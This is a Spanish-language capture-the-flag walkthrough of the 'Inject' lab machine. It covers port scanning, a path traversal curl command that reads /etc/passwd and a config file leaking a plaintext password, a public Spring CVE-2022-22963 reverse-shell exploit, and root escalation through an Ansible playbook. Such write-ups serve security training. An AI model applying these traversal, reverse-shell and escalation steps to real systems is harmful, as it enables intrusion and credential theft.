Máquina: Inject
Información Básica
- Dificultad: Easy
- OS: Linux
- IP: 10.10.10.X
Reconocimiento
Comenzamos con el escaneo de puertos:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.204 -oG allPorts
Encontramos los siguientes puerto abiertos:
- 22
- 8080
Realizamos un escaneo de versiones en los puertos con:
10.10.11.204
Y encontramos:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Y lanzamos un HTTP-ENUM al puerto 8080:
nmap --script http-enum -p8080 10.10.11.204
Enumeracion de directorios
Comenzamos la enumeracion de directorios con:
gobuster dir -u http://10.10.11.204:8080/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
Encontramos:
/register (Status: 200) [Size: 5654]
/blogs (Status: 200) [Size: 5371]
/upload (Status: 200) [Size: 1857]
/environment (Status: 500) [Size: 712]
/error (Status: 500) [Size: 106]
/release_notes (Status: 200) [Size: 1086]
/http%3A%2F%2Fwww (Status: 400) [Size: 435]
Explotacion
Veremos si en la pagina de upload podemos hacer algo, asi que subiremos una imagen y luego la revisaremos.

Nos devuelve este link:
http://10.10.11.204:8080/show_image?img=exploit.png
Usaremos ese link para realizar una peticion GET con CURL, agregando el parametro JQ para que nos represente el formato JSON.
Nos devuelve esto:

Hemos logrado encontrar informacion sobre los directorios.
file:/var/www/WebApp/src/main/uploads/exploit.png
Esto se considera Information Leakage.
Ya que podemos ver directorios, intentaremos movernos entre carpetas y ver el /etc/passwd:
curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../../../etc/passwd"
Funciona, nos devuelve esto:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false
Encontramos 3 usuarios con bash:
root:x:0:0:root:/root:/bin/bash
frank:x:1000:1000:frank:/home/frank:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
En la ruta ../../../../../../home/frank/.m2/settings.xml encontramos esto:
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
Revisando mas directorios encontramos el archivo pom.xml, sabemos que esta corriendo bajo el Spring Framework. Buscamos algun exploit que nos permite ejecutar una [[Reverse Shell]]: https://github.com/J0ey17/CVE-2022-22963_Reverse-Shell-Exploit/blob/main/exploit.py
Procedemos a ejecutar el Script con la IP de la victima.
python3 exploit.py -u http://10.10.11.204:8080

Siguiendo los pasos de la documentacion se logra abrir una terminal.
Buscando la User Flag
Estando en la Shell, somos el usuario Frank, quien al parecer no tiene permisos para ejecutar comandos de administrador, ni tampoco pertenece a un grupo que nos interese:

Pero anteriormente habiamos encontrado las credenciales del usuario Phil en el archivo settings.xml, intentaremos usar esas credenciales, a ver si podemos escalar un poco mas.
Pero antes, obtenemos la [[Full TTY]] para poder movernos comodamente.

Las credenciales funcionaron.
Veamos si ahora podemos abrir la User Flag.

La obtuvimos. Ahora nos falta escalar privilegios ;)
Escalada de privilegios.
Usaremos PSPY64 para monitorizar los procesos y ver si podemos aprovecharnos de algun archivo con poderes de administrador.
Hayamos esto:

Al parecer hay un script con privilegios que se esta ejecutando en el directorio /opt/automation/tasks cada cierto tiempo, veamos si podemos aprovecharnos de eso.
Nos encontramos con esto:

Haciendo una busqueda por Google, damos con una herramienta que se llama Ansible la cual al parecer automatiza procesos informaticos. Veremos en la documentacion si podemos aprovecharnos de esto.
- Buscamos por “shell” para ver si hay algun parametro que nos permita ejecutar comandos.

- Encontramos esto, asi que probaremos:

Nos dirigimos nuevamente a /opt/automation/tasks y creamos un archivo con cualquier nombre, pero con terminacion .yml y agregamos los parametros necesarios:

El archivo playbook.yml original es asi:
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: started
Ahora solo queda esperar a que el script se ejecute:
Ya tenemos suid.
Ahora ejecutamos bash -p y tenemos la consola root:

